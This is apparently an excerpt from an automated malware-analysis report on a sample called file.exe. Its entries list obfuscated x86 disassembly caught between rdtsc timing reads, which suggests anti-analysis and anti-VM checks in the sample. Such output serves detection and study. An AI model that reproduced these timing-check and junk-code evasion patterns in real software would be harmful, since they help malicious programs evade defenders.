Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E6D9 second address: B6E6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E6DD second address: B6E6E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E6E1 second address: B6E6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E6E7 second address: B6E6F1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD84CFDF72Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E8F8 second address: B6E939 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD84C765E18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D2E4Eh] 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FD84C765E18h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f add dx, 94A9h 0x00000034 push 5E05B680h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E939 second address: B6E93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7007C second address: B7008F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020283 second address: 50202C0 instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD84CFDF735h 0x00000012 adc cx, 0726h 0x00000017 jmp 00007FD84CFDF731h 0x0000001c popfd 0x0000001d movzx esi, di 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202C0 second address: 50202C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202C6 second address: 502034E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF734h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007FD84CFDF730h 0x00000013 mov ebp, esp 0x00000015 jmp 00007FD84CFDF730h 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e pushad 0x0000001f mov ax, 02B3h 0x00000023 mov ah, 17h 0x00000025 popad 0x00000026 pushfd 0x00000027 jmp 00007FD84CFDF735h 0x0000002c or ecx, 2FDA79F6h 0x00000032 jmp 00007FD84CFDF731h 0x00000037 popfd 0x00000038 popad 0x00000039 mov ecx, dword ptr [ebp+08h] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov ebx, 0B8D4A7Eh 0x00000044 push ebx 0x00000045 pop esi 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502034E second address: 5020369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020369 second address: 502036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020396 second address: 502039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502039A second address: 502039E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502039E second address: 50203A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050407 second address: 505040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505040D second address: 505048F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD84C765E24h 0x00000010 xor cx, EAC8h 0x00000015 jmp 00007FD84C765E1Bh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FD84C765E28h 0x00000021 sub cx, 6D28h 0x00000026 jmp 00007FD84C765E1Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e pushad 0x0000002f mov al, C1h 0x00000031 jmp 00007FD84C765E21h 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FD84C765E1Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505048F second address: 5050495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050495 second address: 5050499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050499 second address: 50504C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007FD84CFDF734h 0x0000000e mov dword ptr [esp], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop esi 0x00000016 mov edx, 5C6E6E5Ch 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50504C4 second address: 50504EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 5EC7h 0x00000007 mov eax, 79532063h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD84C765E25h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50504EB second address: 505051B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD84CFDF731h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bx, 7C9Eh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505051B second address: 5050521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050521 second address: 5050525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050525 second address: 5050536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050536 second address: 505053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505053A second address: 505053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505053E second address: 5050544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050544 second address: 505054A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505054A second address: 505054E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505068A second address: 5050690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050690 second address: 50506C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD84CFDF738h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50506C1 second address: 50506D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50506D0 second address: 5050721 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push edi 0x0000000c pushfd 0x0000000d jmp 00007FD84CFDF736h 0x00000012 add cx, 27E8h 0x00000017 jmp 00007FD84CFDF72Bh 0x0000001c popfd 0x0000001d pop ecx 0x0000001e popad 0x0000001f leave 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050721 second address: 5050725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050725 second address: 505072B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505072B second address: 504001B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FD84C765E17h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FD850EEF253h 0x00000032 mov edi, edi 0x00000034 pushad 0x00000035 jmp 00007FD84C765E1Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c pop eax 0x0000003d pop edx 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504001B second address: 504001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504001F second address: 5040025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040025 second address: 504002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504002B second address: 504002F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504002F second address: 5040052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF736h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040052 second address: 5040056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040056 second address: 504005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504005C second address: 5040084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FD84C765E1Bh 0x00000012 mov esi, 2E832BFFh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040084 second address: 50400AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD84CFDF72Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50400AE second address: 5040136 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b jmp 00007FD84C765E1Eh 0x00000010 call 00007FD84C765E19h 0x00000015 pushad 0x00000016 call 00007FD84C765E1Ah 0x0000001b jmp 00007FD84C765E22h 0x00000020 pop eax 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FD84C765E1Dh 0x0000002c add ecx, 5FA92AC6h 0x00000032 jmp 00007FD84C765E21h 0x00000037 popfd 0x00000038 jmp 00007FD84C765E20h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040136 second address: 504013C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504013C second address: 5040140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040140 second address: 5040144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040144 second address: 5040218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FD84C765E28h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FD84C765E21h 0x0000001a xor ah, 00000036h 0x0000001d jmp 00007FD84C765E21h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FD84C765E20h 0x00000029 sbb esi, 3E1FD358h 0x0000002f jmp 00007FD84C765E1Bh 0x00000034 popfd 0x00000035 popad 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a pushad 0x0000003b mov cx, dx 0x0000003e mov dx, B046h 0x00000042 popad 0x00000043 pop eax 0x00000044 pushad 0x00000045 mov edx, 23BA821Eh 0x0000004a pushfd 0x0000004b jmp 00007FD84C765E1Fh 0x00000050 add cx, AECEh 0x00000055 jmp 00007FD84C765E29h 0x0000005a popfd 0x0000005b popad 0x0000005c call 00007FD84C765E19h 0x00000061 jmp 00007FD84C765E1Eh 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040218 second address: 504021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504021C second address: 5040222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040222 second address: 5040272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov eax, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FD84CFDF72Ah 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov cl, BBh 0x0000001b pushfd 0x0000001c jmp 00007FD84CFDF739h 0x00000021 add ah, FFFFFFC6h 0x00000024 jmp 00007FD84CFDF731h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040272 second address: 5040278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040278 second address: 50402A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FD84CFDF736h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402A1 second address: 50402A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402A5 second address: 50402AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402AB second address: 50402BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402BA second address: 50402EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e pushad 0x0000000f jmp 00007FD84CFDF72Bh 0x00000014 mov ax, BD2Fh 0x00000018 popad 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD84CFDF72Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402EA second address: 50402F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402F9 second address: 504032A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 01h 0x00000005 pushfd 0x00000006 jmp 00007FD84CFDF730h 0x0000000b or si, F0B8h 0x00000010 jmp 00007FD84CFDF72Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504032A second address: 5040330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040330 second address: 5040396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD84CFDF733h 0x00000009 or esi, 128F572Eh 0x0000000f jmp 00007FD84CFDF739h 0x00000014 popfd 0x00000015 mov ecx, 085975B7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d nop 0x0000001e jmp 00007FD84CFDF72Ah 0x00000023 sub esp, 18h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FD84CFDF737h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040396 second address: 504042F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov eax, 5D036E13h 0x00000010 mov ebx, eax 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FD84C765E25h 0x00000019 xchg eax, ebx 0x0000001a jmp 00007FD84C765E1Eh 0x0000001f xchg eax, esi 0x00000020 jmp 00007FD84C765E20h 0x00000025 push eax 0x00000026 pushad 0x00000027 call 00007FD84C765E21h 0x0000002c mov ecx, 07F75227h 0x00000031 pop esi 0x00000032 mov di, 2240h 0x00000036 popad 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 mov eax, ebx 0x0000003b mov cl, dl 0x0000003d popad 0x0000003e xchg eax, edi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FD84C765E22h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504042F second address: 504043E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504043E second address: 5040444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040444 second address: 5040448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040448 second address: 50404C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD84C765E1Eh 0x0000000e xchg eax, edi 0x0000000f jmp 00007FD84C765E20h 0x00000014 mov eax, dword ptr [75AF4538h] 0x00000019 pushad 0x0000001a mov ax, 911Dh 0x0000001e mov di, cx 0x00000021 popad 0x00000022 xor dword ptr [ebp-08h], eax 0x00000025 jmp 00007FD84C765E24h 0x0000002a xor eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FD84C765E1Ah 0x00000035 jmp 00007FD84C765E25h 0x0000003a popfd 0x0000003b mov cx, C787h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404C0 second address: 50404C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404C6 second address: 50404EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a mov ebx, 116C4B50h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD84C765E21h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404EE second address: 50404F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404F2 second address: 50404F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404F8 second address: 504050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84CFDF733h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504050F second address: 504051F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504051F second address: 5040527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040527 second address: 5040540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040540 second address: 504058D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e jmp 00007FD84CFDF72Dh 0x00000013 mov dword ptr [ebp-18h], esp 0x00000016 pushad 0x00000017 jmp 00007FD84CFDF72Ch 0x0000001c popad 0x0000001d mov eax, dword ptr fs:[00000018h] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov edi, esi 0x00000028 call 00007FD84CFDF734h 0x0000002d pop eax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504058D second address: 50405D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 2CB82B30h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [eax+00000FDCh] 0x00000011 jmp 00007FD84C765E1Fh 0x00000016 test ecx, ecx 0x00000018 jmp 00007FD84C765E26h 0x0000001d jns 00007FD84C765EB8h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD84C765E1Ah 0x0000002c rdtsc
